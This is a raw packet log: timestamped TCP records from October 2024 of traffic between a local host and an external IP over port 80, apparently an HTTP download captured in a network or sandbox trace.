Oct 8, 2024 03:30:54.858738899 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.858742952 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.858757019 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.858772993 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.858787060 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.858814955 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.863477945 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.863503933 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.863521099 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.863538027 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.863553047 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.863580942 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.868340015 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.868377924 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.868393898 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.868411064 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.868427038 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.868427992 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.868455887 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.873296976 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.873322010 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.873338938 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.873356104 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.873356104 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.873374939 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.873378038 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.873393059 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.873409986 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.873414993 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.873426914 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.873444080 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.873449087 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.873461008 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.873477936 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.873485088 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.873493910 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.873511076 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.873516083 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.873550892 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.934465885 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.934500933 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.934533119 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.934550047 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.934568882 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.934571981 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.934603930 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.935177088 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.935200930 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.935218096 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.935235023 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.935237885 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.935254097 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.935261011 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.935307980 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.935496092 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.935560942 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.935614109 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.935631037 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.935642004 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.935647964 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.935683012 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.936301947 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.936319113 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.936336040 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.936353922 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.936353922 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.936369896 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.936384916 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.936398983 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.936433077 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.937298059 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.937314987 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.937330961 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.937350035 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.937350988 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.937366962 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.937383890 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.937388897 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.937414885 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.938249111 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.938265085 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.938282967 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.938301086 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.938301086 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.938318014 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.938335896 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.938343048 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.938366890 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.939265013 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.939291000 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.939308882 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.939311981 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.939327955 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.939343929 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.939361095 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.939374924 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.939407110 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.940176964 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.940193892 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.940232038 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.940234900 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.940251112 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.940269947 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.940284014 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.940287113 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.940319061 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.941143990 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.941191912 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.941389084 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.941406012 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.941423893 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.941438913 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.941454887 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.941456079 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.941473007 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.941494942 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.941525936 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.942264080 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.942626953 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.942642927 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.942660093 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.942676067 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.942676067 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.942701101 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.942712069 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.942724943 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.942742109 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.942750931 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.942759037 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.942787886 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.943552971 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.943569899 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.943588018 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.943603039 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.943633080 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.943639040 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.943656921 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.943702936 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.024528980 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.024667978 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.024684906 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.024734020 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.025125980 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.025154114 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.025168896 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.025175095 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.025216103 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.025226116 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.025243044 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.025266886 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.025283098 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.025294065 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.025331020 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.026204109 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.026218891 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.026236057 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.026252031 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.026266098 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.026295900 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.026324034 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.026392937 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.026408911 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.026434898 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.026437044 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.026453018 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.026469946 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.026480913 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.026493073 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.026520014 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.026541948 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.026560068 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.026587009 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.026587009 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.026607037 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.026659966 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.026719093 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.026736021 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.026751041 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.026765108 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.026768923 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.026787043 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.026801109 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.026832104 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.026875019 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.026890993 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.026899099 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.026906967 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.026915073 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.026923895 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.026940107 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.026946068 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.026995897 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.027026892 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.027334929 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.027352095 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.027362108 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.027399063 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.027414083 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.027416945 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.027431965 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.027448893 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.027482986 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.028076887 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.028105974 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.028121948 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.028155088 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.028265953 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.028281927 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.028297901 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.028314114 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.028316975 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.028350115 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.028459072 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.028512001 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.028520107 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.028537035 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.028553963 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.028584957 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.029616117 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.029633045 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.029649019 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.029668093 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.029697895 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.029732943 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.029748917 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.029764891 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.029772043 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.029803038 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.029819012 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.029819965 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.029839993 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.029840946 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.029856920 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.029874086 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.029875040 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.029891014 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.029908895 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.029911041 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.029948950 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.030215979 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.030231953 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.030247927 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.030275106 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.030286074 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.030286074 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.030292034 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.030313015 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.030329943 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.030344963 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.030359030 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.030369043 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.030376911 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.030396938 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.030420065 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.030738115 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.030755043 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.030772924 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.030791044 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.030822992 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.030855894 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.030872107 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.030889034 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.030904055 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.030922890 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.030942917 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.030956984 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.030972958 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.030987978 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.031004906 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.031016111 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.031022072 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.031039000 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.031054974 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.031058073 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.031070948 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.031076908 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.031119108 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.031501055 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.031517982 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.031533003 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.031559944 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.031563044 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.031577110 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.031594038 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.031605005 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.031611919 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.031630039 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.031748056 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.031764984 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.031780958 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.031795025 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.031799078 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.031824112 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.031826019 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.031845093 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.031861067 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.031877041 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.031878948 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.031894922 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.031903982 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.031910896 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.031929016 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.031936884 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.031980991 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.032458067 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.032474995 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.032493114 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.032517910 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.032826900 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.032845974 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.032864094 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.032872915 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.032905102 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.116501093 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.116542101 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.116559982 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.116575956 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.116591930 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.116590977 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.116611004 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.116620064 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.116631031 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.116646051 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.116650105 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.116683960 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.116915941 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.117055893 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.117070913 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.117088079 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.117104053 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.117105007 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.117126942 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.117130995 CEST	49730	80	192.168.2.4	147.45.44.104
